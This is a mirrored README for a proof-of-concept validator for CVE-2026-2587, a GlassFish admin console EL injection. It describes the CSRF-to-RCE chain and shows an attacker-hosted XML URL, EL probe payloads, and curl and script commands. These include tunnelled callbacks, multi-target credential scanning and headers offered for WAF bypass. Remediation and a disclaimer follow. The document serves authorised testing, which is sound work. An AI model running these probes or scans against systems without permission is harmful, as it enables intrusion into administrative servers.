Share
## https://sploitus.com/exploit?id=27AB4091-5F44-5A52-AA96-3CD9317679E1
# CVE-2026-2587 β€” GlassFish EL Injection RCE


  
  
  
  
  


> **Assigned by:** Eclipse Foundation (CNA) Β· **Published:** May 19, 2026
> **CVSS:** `9.6 Critical` Β· `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`
> **CWE:** CWE-917 β€” Expression Language Injection
> **Affected:** Eclipse GlassFish ` **Fix:** Upgrade to GlassFish `>= 7.1.0`

---

## Table of Contents

- [Vulnerability Summary](#vulnerability-summary)
- [How It Works](#how-it-works)
- [Auth Requirements](#auth-requirements)
- [Setup](#setup)
- [Lab Environment (Docker)](#lab-environment-docker)
- [Usage β€” Single Target](#usage--single-target)
  - [Localhost / Docker](#localhost--docker)
  - [Credentials](#credentials)
  - [Remote via ngrok](#remote-via-ngrok)
  - [Remote via Cloudflare Tunnel](#remote-via-cloudflare-tunnel)
  - [Pre-Hosted Static XML](#pre-hosted-static-xml)
  - [Through Burp Suite Proxy](#through-burp-suite-proxy)
  - [Unauthenticated Check Only](#unauthenticated-check-only)
- [Usage β€” Multiple Targets](#usage--multiple-targets)
  - [Targets File Format](#targets-file-format)
  - [Parallel Scanning](#parallel-scanning)
- [Output Formats](#output-formats)
  - [Console](#console)
  - [CSV](#csv)
  - [JSON](#json)
  - [Combining Outputs](#combining-outputs)
- [Advanced Options](#advanced-options)
  - [Custom Canary Values](#custom-canary-values)
  - [Custom Headers](#custom-headers)
- [Test Cases](#test-cases)
- [Output Interpretation](#output-interpretation)
- [Manual Verification](#manual-verification)
- [Remediation](#remediation)
- [References](#references)
- [Disclaimer](#disclaimer)

---

## Vulnerability Summary

A critical Remote Code Execution vulnerability exists in the **GlassFish admin console gadget handler**. The application processes `.xml` files fetched from a URL supplied via the `gadget=` query parameter and evaluates user-supplied values inside `` attributes through the **Java Expression Language (EL) engine without sanitisation or escaping**.

```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
```

If the XML contains `#{7*7}` in a `` attribute, GlassFish evaluates it server-side and returns `49` β€” confirming EL execution. A full RCE chain follows via EL's access to the Java runtime.

---

## How It Works

```
Attacker                   Victim Browser            GlassFish Server
   β”‚                            β”‚                          β”‚
   β”‚  hosts malicious XML ──────┼───────────────────────────
   β”‚                            β”‚                          β”‚
   β”‚  sends CSRF page ──────────▢                          β”‚
   β”‚  (email / link)            │── loads CSRF page        β”‚
   β”‚                            β”‚   iframe fires:          β”‚
   β”‚                            β”‚   GET /gadgets/gadget.jsf β”‚
   β”‚                            β”‚   ?gadget=http://atk/x.xmlβ”‚
   β”‚                            β”‚                          │── fetches x.xml ──▢ Attacker
   β”‚                            β”‚                          │◀─ returns XML ─────
   β”‚                            β”‚                          β”‚
   β”‚                            β”‚                          β”‚  #{expr} evaluated
   β”‚                            β”‚                          β”‚  in ModulePrefs β†’
   β”‚                            β”‚                          β”‚  RCE
```

**Injection point confirmed vs. not:**

```xml

              
        



                        

```

---

## Auth Requirements

| Scenario | Auth needed? |
|---|---|
| Direct hit to `gadget.jsf` | Yes β€” FORM auth, 200 login page |
| Real-world CSRF attack | No β€” weaponises admin's live session |
| This validator | Yes β€” `--cookie` or `--username`/`--password` |
| Unauthenticated exposure check | No β€” script tests this automatically |

The CVSS vector `PR:N / UI:R` means:

- `PR:N` β€” attacker needs **no credentials of their own**
- `UI:R` β€” a logged-in admin must interact (CSRF delivery)

For lab validation, skip CSRF entirely β€” use your own admin session directly.

---

## Setup

**Requirements:** Python 3.9+ Β· `requests`

```bash
git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC
cd CVE-2026-2587-Exploit-POC
pip install requests
# optional for coloured terminal output:
pip install colorama
```

**Repo contents:**

```
CVE-2026-2587-Exploit-POC/
β”œβ”€β”€ cve_2026_2587_validate.py   ← main script
β”œβ”€β”€ probe.xml                   ← ready-to-host static probe XML
β”œβ”€β”€ targets.txt.example         ← multi-target file template
└── README.md
```

---

## Lab Environment (Docker)

> **Caveat:** GHSA still lists affected and patched versions as unknown.
> `omnifish/glassfish:7.0.15` is a strong lab candidate β€” not a guaranteed vulnerable build.
> The validation primitive remains the arithmetic canary: if `#{7*7}` evaluates to `49`, EL is active.

### Option A β€” docker compose (recommended)

```bash
# from the repo root
docker compose -f docker-compose.lab.yml up
```

Brings up GlassFish 7.0.15 with ports bound to `127.0.0.1` only and
`host.docker.internal` pre-wired so the container can reach your local XML server.

### Option B β€” bare docker run

```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15
```

Admin console: `https://localhost:4848` Β· Login: `admin` / `admin`
(Self-signed cert β€” browser warning is expected.)

---

### Serve the benign probe XML

In a second terminal:

```bash
# The repo ships with probe.xml β€” serve it directly:
python3 -m http.server 8000 --bind 0.0.0.0
```

Verify reachability from the container's perspective:

```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5
```

---

### Manual trigger

Log into the admin console first (browser session or `--cookie`), then:

```bash
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml" \
  | grep -oE 'CVE2587_(TITLE|BODY)_[^" The CDATA body typically stays raw even on vulnerable builds; a positive `TITLE` result alone is sufficient to confirm the finding.

---

### Automated validation against the local lab

```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose
```

---

## Generating a Probe XML

The repo ships with `probe.xml` ready to use. You can also generate a fresh one at any time β€” useful when you want a custom canary prefix or randomised values so the probe is unique per engagement.

```bash
# Generate with default values (CVE2587 prefix, #{7*7})
python3 cve_2026_2587_validate.py --generate-xml probe.xml

# Generate with custom prefix and operands
python3 cve_2026_2587_validate.py \
  --generate-xml probe.xml \
  --prefix MYTEST --left 13 --right 17

# Print to stdout (pipe to a server, gist, etc.)
python3 cve_2026_2587_validate.py --generate-xml -

# Generate with random values (different every run)
python3 cve_2026_2587_validate.py \
  --generate-xml probe_$(date +%s).xml \
  --prefix SCAN$(date +%s) --left 31 --right 127
```

Output after writing to a file:

```
[+] probe XML written β†’ probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7
```

---

## Usage β€” Single Target

### Localhost / Docker

Use when GlassFish is running locally or in Docker on the same machine.

Grab your `JSESSIONID` from browser DevTools β†’ Application β†’ Cookies while logged into the admin console, then:

```bash
# Docker β€” GlassFish in container, script on host
python3 cve_2026_2587_validate.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure --verbose

# Localhost (no Docker)
python3 cve_2026_2587_validate.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://127.0.0.1:8000 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure
```

> `host.docker.internal` resolves to the host machine from inside Docker.
> The GlassFish container fetches your probe XML via this address.

---

### Credentials

```bash
python3 cve_2026_2587_validate.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose
```

> If form login fails, the script falls through and tries the endpoint anyway.
> If that also fails, it prints step-by-step instructions to get a session cookie.

---

### Remote via ngrok

Use when the target server needs to reach your machine over the internet.

**Step 1 β€” Install ngrok:**

```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
```

**Step 2 β€” Expose your local server:**

```bash
# Terminal 1
ngrok http 8000
# β†’ Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000
```

**Step 3 β€” Run the validator:**

```bash
# Terminal 2
python3 cve_2026_2587_validate.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure
```

> Replace `abc123.ngrok-free.app` with your actual ngrok URL.
> The script starts its own XML server on `:8000`; ngrok forwards from the internet to it.

---

### Remote via Cloudflare Tunnel

No account required for a quick tunnel.

**Step 1 β€” Install cloudflared:**

```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
```

**Step 2 β€” Start tunnel:**

```bash
# Terminal 1
cloudflared tunnel --url http://localhost:8000
# β†’ https://random-words.trycloudflare.com
```

**Step 3 β€” Run the validator:**

```bash
# Terminal 2
python3 cve_2026_2587_validate.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure
```

---

### Pre-Hosted Static XML

Use when you cannot run a local server (VPS, any web server, GitHub raw, interactsh).
The `--xml-url` flag bypasses the built-in server entirely.

**Option A β€” use the `probe.xml` already in this repo:**

```bash
# Hosted on GitHub raw (no server needed)
python3 cve_2026_2587_validate.py \
  --base https://TARGET:4848 \
  --xml-url https://raw.githubusercontent.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC/main/probe.xml \
  --prefix CVE2587 --left 7 --right 7 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure
```

**Option B β€” generate a fresh probe XML, then host it:**

```bash
# Step 1 β€” generate
python3 cve_2026_2587_validate.py --generate-xml probe.xml

# Step 2 β€” host it (pick one)
python3 -m http.server 8000            # local, then expose via ngrok
scp probe.xml user@YOUR_VPS:/var/www/  # VPS

# Step 3 β€” run (use the --prefix/--left/--right from the generate output)
python3 cve_2026_2587_validate.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/probe.xml \
  --prefix CVE2587 --left 7 --right 7 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure
```

> `--prefix`, `--left`, `--right` must match the values inside your hosted XML file
> so the script knows which evaluated token to look for in the response.

---

### Through Burp Suite Proxy

Route all traffic through Burp for inspection, modification, and logging.

```bash
python3 cve_2026_2587_validate.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --proxy http://127.0.0.1:8080 \
  --insecure --verbose
```

> `--insecure` is required when Burp is intercepting TLS.
> All requests β€” login, gadget probe, XML fetch β€” appear in Burp's HTTP history.

---

### Unauthenticated Check Only

Test whether the endpoint is accidentally exposed without auth before doing
a full authenticated scan. Exits immediately after Phase 1.

```bash
python3 cve_2026_2587_validate.py \
  --base https://TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://YOUR_IP:8000 \
  --check-unauth-only --insecure
```

---

## Usage β€” Multiple Targets

### Targets File Format

The repo includes `targets.txt.example` as a template. Copy and edit it:

```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
```

Format β€” one target per line, lines starting with `#` and blank lines ignored,
per-target credentials override the global `--username`/`--password`:

```
# targets.txt

# format: URL
https://server1:4848

# format: URL  username  password
https://server2:4848  admin  password123
https://server3:4848  ops    secret99

# format: URL  username:password
https://server4:4848  admin:admin

# commented-out targets are skipped
# https://server5:4848
```

Run against all targets:

```bash
python3 cve_2026_2587_validate.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --username admin --password admin \
  --insecure \
  --csv results.csv
```

> Global `--username`/`--password` applies to targets with no per-line creds.
> Per-line creds take priority over globals.

---

### Parallel Scanning

Use `--threads` to scan multiple targets concurrently.
The built-in XML server is shared across all threads.

```bash
# Scan 10 targets at once
python3 cve_2026_2587_validate.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --username admin --password admin \
  --threads 10 \
  --insecure \
  --csv results.csv --json
```

> Recommended thread counts:
> - Local lab: up to `10`
> - Remote targets over internet: `3–5` (respect rate limits)
> - Single target: `1` (default)

---

## Output Formats

### Console

Default human-readable output. Add `--verbose` to see per-test-case results.

```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
[+] VULNERABLE  β€”  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} β†’ 49
[+]   TC-02 Addition            #{1337+2587} β†’ 3924
[+]   TC-03 Large multiply      #{31337*271} β†’ 8492327
    ...

    Fix: upgrade to GlassFish >= 7.1.0
```

Multi-target summary:

```
════════════════════════════════════════════════════════════════
  SCAN SUMMARY  β€”  4 target(s)
════════════════════════════════════════════════════════════════
  Vulnerable      : 2
  Not vulnerable  : 1
  Auth required   : 1
  Error / other   : 0
════════════════════════════════════════════════════════════════
```

---

### CSV

```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -
```

CSV columns:

| Column | Description |
|---|---|
| `target` | Target URL |
| `timestamp` | UTC ISO-8601 scan time |
| `verdict` | `VULNERABLE` / `NOT_VULNERABLE` / `AUTH_REQUIRED` / `VULNERABLE_UNAUTH` / `ERROR` |
| `vulnerable_count` | Number of test cases that confirmed EL evaluation |
| `total_tests` | Total test cases run |
| `unauth_exposed` | `YES` if endpoint responded without auth |
| `active_endpoint` | Endpoint URL that was used for testing |
| `server_header` | `Server:` header from GlassFish |
| `TC-01` … `TC-10` | Per-test result: `VULNERABLE` / `NOT_VULNERABLE` / `INCONCLUSIVE` / `SKIPPED` |
| `notes` | Error message if scan failed |

**Example rows:**

```csv
target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,TC-01 Basic multiply,...,notes
https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,VULNERABLE,...,
https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.1.0,NOT_VULNERABLE,...,
https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,0,no,,,,Session rejected or cookie expired
```

---

### JSON

```bash
--json
```

Single target:

```json
{
  "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf",
  "server_header": "Eclipse GlassFish 7.0.15",
  "target": "https://localhost:4848",
  "timestamp": "2026-05-21T10:00:00+00:00",
  "verdict": "VULNERABLE",
  "vulnerable_count": 9,
  "total_tests": 10,
  "unauth_result": "AUTH_REQUIRED",
  "tc_results": [
    {"name": "TC-01 Basic multiply", "expr": "#{7*7}",
     "expects": "49", "status": "VULNERABLE"},
    {"name": "TC-02 Addition", "expr": "#{1337+2587}",
     "expects": "3924", "status": "VULNERABLE"}
  ]
}
```

Multiple targets returns a JSON array.

---

### Combining Outputs

All output formats are independent β€” combine freely:

```bash
# Console + CSV + JSON simultaneously
python3 cve_2026_2587_validate.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json
```

---

## Advanced Options

### Custom Canary Values

Match the validator to a hand-crafted XML using `--prefix`, `--left`, `--right`.
Required when using `--xml-url` with your own hosted file.

```bash
# Matches: 
# Expects: MYTEST_TITLE_221_END in response
python3 cve_2026_2587_validate.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure
```

---

### Custom Headers

Add arbitrary headers β€” useful for WAF bypass, load balancer routing, or
testing behind a reverse proxy.

```bash
python3 cve_2026_2587_validate.py \
  --base https://TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://YOUR_IP:8000 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --header "X-Forwarded-For: 127.0.0.1" \
  --header "X-Original-URL: /common/gadgets/gadget.jsf" \
  --header "X-Custom-Header: value" \
  --proxy http://127.0.0.1:8080 \
  --insecure
```

---

## Test Cases

The validator runs 10 distinct EL probes, each confirming a different capability:

| # | Payload | Expected | What it proves |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Baseline arithmetic canary |
| TC-02 | `#{1337+2587}` | `3924` | Addition operator |
| TC-03 | `#{31337*271}` | `8492327` | Collision-resistant large multiply |
| TC-04 | `#{9999-1337}` | `8662` | Subtraction operator |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Nested parentheses / operator precedence |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Conditional / ternary β€” control flow executes |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | String method access |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Chained method calls |
| TC-09 | `#{17 mod 5}` | `2` | EL keyword operator |
| TC-10 | `#{100*100}` | `10000` | Additional arithmetic confirmation |

TC-06, TC-07, and TC-08 are the most significant β€” passing those means the EL engine executes **string API methods and conditional logic**, the direct precursor to the full RCE chain.

---

## Output Interpretation

| Status | Meaning |
|---|---|
| `VULNERABLE` | EL expression evaluated β€” instance confirmed affected |
| `VULNERABLE_UNAUTH` | Endpoint exposed without auth β€” worse than base CVE |
| `NOT_VULNERABLE` | Expression reflected literally β€” EL not evaluated |
| `AUTH_REQUIRED` | Endpoint returned login page β€” check cookie or credentials |
| `INCONCLUSIVE` | Response received but canary not found β€” see below |
| `ERROR` | Request failed β€” network / TLS issue |

**INCONCLUSIVE troubleshooting:**

| Symptom | Cause | Fix |
|---|---|---|
| `XML hits: 0` | GlassFish never fetched your XML | `--callback-url` not reachable from the target |
| `XML hits: 1+` but no match | EL evaluated but wrong field | Expected for CDATA content |
| Auth redirect mid-run | Session expired | Grab a fresh `JSESSIONID` from browser |
| Login POST redirects to `j_security_check` | Wrong password | Use `--cookie` instead |

---

## Manual Verification

No Python required:

```bash
# Step 1 β€” create probe XML
mkdir probe && cat > probe/probe.xml 

  
  

EOF

# Step 2 β€” serve it
python3 -m http.server 8000 --directory probe &

# Step 3 β€” hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"= 7.1.0` β€” fix boundary per Eclipse CVE tracking |
| **Disable gadget handler** | Block `/common/gadgets/gadget.jsf` at WAF/firewall if unused |
| **Firewall admin console** | Restrict port `4848` to trusted IPs only |
| **CSRF protections** | Ensure `SameSite` cookie attribute on admin sessions |
| **WAF rule** | Block `#{` and `${` in XML bodies reaching the gadget endpoint |

---

## References

| Resource | Link |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE Tracking | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Eclipse GlassFish Source | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| Reporter | Camilo G. (DeepSecurity PerΓΊ) β€” [@SeguridadBlanca](https://x.com/SeguridadBlanca) |

---

## Disclaimer

This repository is for **authorised security testing and research only**.

- Run this tool only on systems you own or have **explicit written permission** to test
- The validator performs **benign EL evaluation only** β€” no command execution, no reverse shell, no file upload, no persistence
- The author assumes no liability for misuse
- Responsible disclosure was followed β€” reported December 2025, patched May 2026

**Repo layout:**

```
CVE-2026-2587-Exploit-POC/
β”œβ”€β”€ cve_2026_2587_validate.py   ← validator script
β”œβ”€β”€ probe.xml                   ← ready-to-host static probe XML  (#{7*7} canary)
β”œβ”€β”€ targets.txt.example         ← multi-target file template
└── README.md
```

---


  github.com/Bhanunamikaze